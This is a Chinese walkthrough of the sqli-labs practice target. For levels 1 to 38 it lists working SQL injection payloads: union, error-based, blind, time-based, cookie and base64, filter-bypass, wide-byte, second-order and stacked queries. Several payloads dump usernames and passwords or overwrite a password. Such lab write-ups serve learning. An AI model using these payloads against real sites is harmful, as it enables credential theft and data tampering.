sqli-labs靶机
第一关 1'
第二关 1
第三关 1')
第四关 1'')
第五关 1' + extractvalue报错注入
第六关 1 " + extractvalue报错注入
第七关 1')) and ascii 或者 1')) and substr 布尔盲注
第八关布尔盲注
第九关?id=1' and sleep延时
第十关?id=1" and sleep延时
第十一关 登录处 post型
第十二关 uname=-Dumb") post注入
第十三关 布尔盲注 ') and updatexml post型
第十四关 布尔盲注 ") and updatexml post型
第十五关 布尔盲注
第十六关 布尔+延时
第十七关 在passwd后面加
第十九关 修改url参数
第二十关 控制台 document.cookie
第二十一关 单引号加括号的base64报错注入
第二十二关 控制台 base64加密
第二十三关 单引号注入,-- 和#被过滤掉 ?id=-1' ' ?id=-1' union select 1,2,database() '
第二十四关 二次注入
第二十五关 ‘and和or被过滤掉
第二十五a关 “and和or被过滤掉
第二十六关 单引号的联合查询,对空格、and、or、注释过滤
第二十六a关 单引号加括号的闭合,由于对空格、注释、and、or进行了过滤
第二十七关 单引号,对注释、空格,还有union的两次关键字绕过和select的三次绕过
第二十七a关 双引号,对注释、空格,还有union的两次关键字绕过和select的三次绕过
第二十八关 单引号加括号,对注释和空格进行过滤
第二十八a关 单引号加括号,在url上对union和select之间加入%a0就行
第二十九关 参数污染 ?id=1 & id=-2' union select 1,2,database()--+
第三十关 双引号,有参数污染 ?id=1&id=-2" union select 1,2,database()--
第三十一关 双引号加括号的联合查询,有参数污染
第三十二关 宽字节%df' + 转义hex编码
第三十三关 单引号宽字节注入,对引号转义,在url上在id和引号之间加&df
第三十四关单引号的前面加汉字或者特殊符号
第三十五关 数字型的联合查询
第三十六关 单引号的宽字节注入
第三十七关 单引号的宽字节注入的报错注入
第三十八 ?id=-1'; update 堆叠改密码
第一关
先判断是否位数字型注入
and 1=1 和 and1=2 查看回显内容,不同则是数字型注入
再判断是否是字符型注入
‘ and 1=1 -- 和 ‘and1=2-- 查看回显内容,不同则是字符型注入
根据结果判断位字符型注入
?id=1' order by 5 # 先试一试是否位5列
?id=1' order by 3 --+ 最后得出是3列
因为前面判断出一共显示3列,所以这边写出3列来看具体是哪几列会回显,并在id的数字前加“-”号,为了输出显示我们的结果
?id=-1' union select1,2,3 --+
判断出是2,3列回显,则在2,3列处进行具体的查询
数据库
?id=-1' union select1,2,database() --+
查出当前数据库为security
?id=-1' union select 1,2,schema_name from information_schema.schemata --+
由于只能显示1行,所以用函数group_concat()来吧所有信息几行的内容显示在一行上,并用“,”进行分割
数据库
?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+
由于数据库中有很多表,我们前面已经确定当前数据库是security,以他为条件进行查
表
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema ='security' --+
字段
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema ='security' andtable_name='users' --+
可以判断username和password存储的是账户和密码,下来就可以真正的查询信息
数据
?id=-1' union select1,2,group_concat(concat(username,0x7e,password)) from users --+
concat()函数是将多列合并成一列进行显示,0x7e是~的16进制,作为分割好看
第二关
?id=1 and 1=1 ?id=1 and 1=2回显不同,为数字型注入
列数 ?id=1 order by 3
判断回显列数为3列
在id数字前面加“-”号,为了输出显示我们想要的结果
回显 ?id=-1 union select 1,2,3
回显位置为2,3列,在2,3列上写数据
数据库 ?id=-1 union select 1,2,database()
第三关
?id=1') and 1=1 --+
?id=1') and 1=2 --+
?id=1') order by 3 --+
回显 ?id=-1') union select1,2,3 --+
数据库 ?id=-1') union select1,2,database() --+
第四关
?id=1") and 1=1 --+
?id=1") and 1=2 --+
列数 ?id=1") order by 3 --+
回显 ?id=-1") union select 1,2,3 --+
数据库
?id=-1") union select 1,2,database() --+
第五关
?id=1' and 1=1 --+
?id=1' and 1=2 --+
列数 ?id=1' order by 3 --+
回显 ?id=-1' union select 1,2,3 --+
报错注入采用“””和“’”来看页面有没有报数据库错误,如果有,则存在报错注入
?id=1'
1. extractvalue()函数查看
extractvalue(1,2) 1为xml字符串,一般我们写成1,2为路径,我们用特殊字符来使其报错,一般用~(0x7e)就行
?id=1' and extractvalue(1,concat(0x7e,111111, 0x7e)) --+
在两个0x7e的()里写数据
数据库
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
数据库
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ), 0x7e)) --+
由于数据库报错信息有位数限制,不能显示全,我们可以用limit进行,也可用substr组合bp使用
显示第一条内容
?id=1' and extractvalue(1,concat(0x7e,(select schema_name
from information_schema.schemata limit 0,1),0x7e)) --+
显示第二条内容
?id=1' and extractvalue(1,concat(0x7e,(select schema_name
from information_schema.schemata limit 1,1),0x7e)) --+
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,20)
from information_schema.schemata),0x7e)) --+
截取从第20字节开始共20字节的内容
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),20,20)
from information_schema.schemata),0x7e)) --+
表
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),10,20)
from information_schema.tables wheretable_schema="security"),0x7e)) --
字段
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(column_name),1,20)
from information_schema.columns wheretable_schema="security" and table_name="users"),0x7e)) --+
数据
?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(concat(username,0x7e,password)),1,20)from users),0x7e)) --+
第六关
?id=1" and 1=1 --+
?id=1" and 1=2 --+
报错?id=1"
数据库
?id=1" and extractvalue(1,concat(0x7e,(selectdatabase()),0x7e)) --+
第七关
?id=1')) and 1=1--+
?id=1')) and 1=2--+
因为没有回显位置和报错注入,但正常和错误的页面的不同,所以用布尔盲注
可以试长度,用二分法,最后确定数据库名字的长度位8位
?id=1')) and length(database())=8--+
substr是从第一位截取一个单词,ascii是转换成数字进行判断
数据库名字
?id=1')) and ascii(substr(database(),1,1))=115 --+
115对应的单词是s,我们可以用s来看看第一位是不是s
?id=1')) and substr(database(),1,1)='s' --+
下来看第二个单词
?id=1')) and ascii(substr(database(),2,1))=101--+
101对应的单词是e,检验一下
?id=1')) and substr(database(),2,1)='e'--+
不同的方法都可以判断数据库的名字
?id=1')) and substr((select schema_name frominformation_schema.schemata limit 0,1),1,1)='i'--+
?id=1')) and (select substr(group_concat(schema_name),1,1)from information_schema.schemata)='i' --+
第八关
单引号的布尔盲注
?id=1' --
判断当前数据库长度
?id=1' and length(database())=8 --+
第九关
单引号的延时注入
?id=1' and sleep(5) --+
判断当前数据库长度
?id=1' and if (length(database())=8,sleep(5),0) --+
第十关
双引号的延时注入
?id=1" and sleep(5) --+
判断当前数据库长度
?id=1" and if(length(database())=8,sleep(5),0)--+
第十一关
判断注入类型
uname=Dumb' and 1=1-- &passwd=Dumb
uname=Dumb' and 1=2-- &passwd=Dumb
列数 uname=Dumb' order by 2-- &passwd=Dumb
判断回显
uname=-Dumb' union select 1,2-- &passwd=Dumb
判断当前数据库
uname=-Dumb' union select 1,database()-- &passwd=Dumb
第十二关
双引号加括号的报错注入
uname=-Dumb") -- &passwd=Dumb
查出当前数据库
uname=-Dumb") and updatexml(1,concat(0x7e,database()),1)-- &passwd=Dumb
第十三关
单引号加括号的报错注入和布尔盲注
uname=Dumb') -- &passwd=Dumb
查出当前数据库
uname=Dumb') and updatexml(1,concat(0x7e,database()),1)--&passwd=Dumb
第十四关
双引号的报错注入
uname=Dumb" -- &passwd=Dumb
查出当前数据库
uname=Dumb" and updatexml(1,concat(0x7e,database()),1)-- &passwd=Dumb
第十五关
单引号的布尔盲注和延时注入
uname=Dumb' -- &passwd=Dumb
判断当前数据库长度
uname=Dumb'and length(database())=8-- &passwd=Dumb
第十六关
双引号加括号的布尔盲注和延时注入
uname=Dumb") -- &passwd=Dumb
判断当前数据库长度
uname=Dumb") and if (length(database())=8,sleep(5),0)-- &passwd=Dumb
第十七关
单引号的报错注入(在passwd后面加)
uname=Dumb&passwd=Dumb' --
查出当前数据库
uname=Dumb&passwd=Dumb' andupdatexml(1,concat(0x7e,database()),1)--+
第十九关
配置环境
url里的localhost改成自己的ip,否则bp抓不到包
第二十关
必须是正确的用户名,cookie的双引号没关系,判断类型是根据用户名后面加
document.cookie="uname=Dumb' and 1=1 --+"
document.cookie="uname=Dumb' and 1=2 --+"
列数
document.cookie="uname=Dumb' order by 3--+"
回显
document.cookie="uname=-Dumb' unionselect 1,2,3 --+"
数据库
document.cookie="uname=-Dumb' unionselect 1,2,database() --+"
第二十一关
单引号加括号的base64报错注入
document.cookie="uname=Dumb') -- "
document.cookie="uname=RHVtYicpIC0tIA=="
查出当前数据库
document.cookie="uname=Dumb') andupdatexml(1,concat(0x7e,database()),1)--
document.cookie="uname=RHVtYicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKS0tIA=="
第二十二关
uname的RHVtYg==是base64加密后的,解密后是Dumb,跟name一样,我们在通过cookie写入代码的时候,要通过base64加密后传入
document.cookie="uname= Dumb" -- "
document.cookie="uname=RHVtYiIgLS0g"
列数
document.cookie="uname= Dumb" order by 3-- "
document.cookie="uname=RHVtYiIgb3JkZXIgYnkgMy0tIA=="
判断回显位置
document.cookie="uname=-Dumb" union select 1,2,3--"
document.cookie="uname=LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMy0tICA= "
判断当前数据库
document.cookie="uname=-Dumb" union select1,2,database()-- "
document.cookie="uname=LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKS0tICA="
第二十三关
单引号注入,-- 和#被过滤掉
?id=-1' '
查出当前数据库
?id=-1' union select 1,2,database() '
第二十四关
二次注入 先创建账号admin’# 和admin重名,因为#没有被注释,所以还是可以注册,但在修改密码的时候,admin’#的#被注释掉了,修改的其实是admin的密码 admin的密码是admin
注册账号admin’# 密码123123
现在数据库有了admin’#的账号
现在修改admin’#的密码位123.com
数据更新的是admin的密码,由于此时的#被注释掉了
第二十五关
单引号的联合查询,and和or被过滤掉
group_concat(column_name) from infoorrmation_schema.columns where
table_schema="security" aandndtable_name="users"—
里面的infoorrmation 和aandnd的or和and采用替换关键字来绕过,就是在and里套and
第二十五a关
数字型的联合查询,and和or被过滤掉
?id=-1
union select 1,2,group_concat(column_name) from
infoorrmation_schema.columns wheretable_schema="security" aandnd
table_name="users"第二十六关
单引号的联合查询,对空格、and、or、注释过滤
注释过滤我们采取后闭合方式 ‘ ‘ ,缺点是大量的sql语句无法执行
对空格我们采取在url里用%a0来代替空格,空格的代替方法有很多,但是有的是根据版本来决定,%20 %09 %0a %0b %0c %0d %a0 /**/ ,都是空格的代替,最好用的还是%a0.
第二十六a关
单引号加括号的闭合,由于对空格、注释、and、or进行了过滤,我们这里的闭合不能光采用后闭合方式,因为有括号,我们前面的也要加上括号进行或者引号加括号
?id=a')union%a0select (1),(database()),('3
第二十七关
单引号联合查询,对注释、空格,还有union的两次关键字绕过和select的三次绕过
第二十七a关
双引号联合查询,对注释、空格,还有union的两次关键字绕过和select的三次绕过
第二十八关
单引号加括号的联合查询,对注释和空格进行过滤
第二十八a关
单引号加括号的联合查询,只对union select进行了过滤,使用关键字不行,在url上对union和select之间加入%a0就行
?id=a') union%a0select 1,2,database()--+
第二十九关
单引号的联合查询,有参数污染(可以写多个id,只对最后一个id=3起作用。?id=1&id=2&id=3)
id=1时的账号位Dumb
?id=1--+
参数污染时,为最后一个id被查到
?id=1&id=2
?id=1 & id=-2' union select1,2,database()--+
第三十关
双引号的联合查询,有参数污染
?id=1&id=-2"
union select 1,2,database()--
第三十一关
双引号加括号的联合查询,有参数污染
?id=1&id=-2") union select1,2,database()--+
第三十二关
?id=1%df%27%20and%201=1%20--%20 这是url上的 宽字节是由于php连接数据库用的是gbk编码格式,数据库对字符进行了转义,用反斜杠转义,%df可以使反斜杠转义失效,其和反斜杠会通过gbk编译成汉字从而失效
?id=1%df' and 1=1 --+
?id=1%df' and 1=2 --+
数据库
?id=-1%df' union select 1,2,database() --+
由于反斜杠对单双引号进行了转义,table_schema=”security”里的引号也被转义,所以要对引号内的字符进行hex编码,也就是16进制编码,得到的结果位7365637572697479,再在这前面加上0x,是为了表示位16进制编码的
?id=-1%df' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=”security”--+
转化为
?id=-1%df' union select 1,2,group_concat(table_name) frominformation_schema.tables where table_schema=0x7365637572697479 --+
数据
?id=-1%df' union select 1,2,group_concat(concat(username,0x7e,password))from users --+
第三十三关
单引号的宽字节注入,对引号进行了转义,在url上在id和引号之间加&df
?id=-1 %df' union select 1,2,database()--
第三十四关
单引号的宽字节注入的报错注入,但是在post里添加%df就没有用,因此在单引号的前面加汉字或者特殊符号,可以使注释不起作用
一般post里的宽字节,用报错注入
uname=Dumb�'and
updatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb或
uname=Dumb汉'and updatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb
第三十五关
数字型的联合查询
?id=-1 union select 1,2,database()
第三十六关
单引号的宽字节注入
?id=-1%df' union select 1,2,database() --+
第三十七关
单引号的宽字节注入的报错注入
uname=Dumb�'andupdatexml(1,concat(0x7e,database()),1) -- &passwd=Dumb
第三十八关
?id=1' and 1=1--+
?id=1' and 1=2--+
数据
?id=-1' union select1,2,group_concat(concat(username,0x7e,password)) from user--+
堆叠注入
?id=-1'; update users set password='666' where username='Angelina' --+
我们查看id=2的密码是否改为666
?id=2
sqli-labs靶机的更多相关文章
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- Reactive Spring实战 -- 响应式Kafka交互
本文分享如何使用KRaft部署Kafka集群,以及Spring中如何实现Kafka响应式交互. KRaft 我们知道,Kafka使用Zookeeper负责为kafka存储broker,Consumer ...
- SpringAnimator弹簧联动效果的实现
使用SpringAnimation实现弹簧联动 简介 弹簧效果动画SpringAnimation与甩动效果动画FlingAnimation使用上很类似,主要区别在于FlingAnimation是根据甩 ...
- 互联网巨头们的 SRE 运维实践「GitHub 热点速览 v.21.27」
作者:HelloGitHub-小鱼干 本周大热点无疑是前几天 GitHub 发布的 Copilot,帮你补全代码,给你的注释提出建议,预测你即将使用的代码组件-如此神奇的 AI 技术,恰巧本周微软也开 ...
- SpringBoot系列(十五)整合缓存,项目会用得到的技术
一.缓存有什么用? 缓存应该是我们每一个系统都应该考虑使用的,这样可以加速系统的访问,提升系统的性能.比如我们经常需要访问的高频数据,将此类数据放在缓存中,可以大幅度提升系统的响应速度.原因就是一般 ...
- 在Docker运行的Nignx内部署前后端分离项目
环境准备: Linux服务器: IP: 192.168.1.10 前端打包后的Vue项目: Port-3000, 请求地址192.168.1.10:8080 后端打包后的Java项目: Port-80 ...
- 精尽Spring Boot源码分析 - @ConfigurationProperties 注解的实现
该系列文章是笔者在学习 Spring Boot 过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring Boot 源码分析 GitHub 地址 进行阅读 Sprin ...
- 12.10File类
要点提示:File类包含了获得一个文件/目录的属性,以及对文件/目录进行改名和删除的方法. 在文件系统中,每个文件都存放在一个目录下.绝对文件名,是由文件名和它的完整路径以及驱动器字母组成.例如,c: ...
- AcWing 1127. 香甜的黄油
农夫John发现了做出全威斯康辛州最甜的黄油的方法:糖. 把糖放在一片牧场上,他知道 N 只奶牛会过来舔它,这样就能做出能卖好价钱的超甜黄油. 当然,他将付出额外的费用在奶牛上. 农夫John很狡猾, ...
- 箭头函数中this指向问题
// 问题:箭头函数中的this是如何查找的? // 答案:向外层作用域中,一层层查找this,直到有this的定义
- mac sudo: /etc/sudoers is world writable
今天误操作修改了/etc/sudoers的权限,将它的权限改成了777,结果就导致执行所有sudo的命令都报错. sudo: /etc/sudoers is world writable sudo: ...






























































































































